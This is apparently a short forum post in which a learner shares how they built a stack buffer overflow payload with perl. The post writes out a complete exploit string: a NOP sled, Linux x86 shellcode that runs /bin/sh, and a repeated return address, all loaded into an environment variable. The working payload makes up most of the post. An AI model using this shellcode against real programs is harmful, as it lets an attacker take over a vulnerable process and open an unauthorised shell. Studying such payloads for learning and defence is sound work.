Okay, Got it! one can use the perl print function and use the escapes to have it print the nops (and other characters that you cant print with a keyboard). for example perl -e 'print "\x90"'
and it will send 0x90 to memory (or whatever you need).
I did something like this:
egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5')
Thanks all for the help!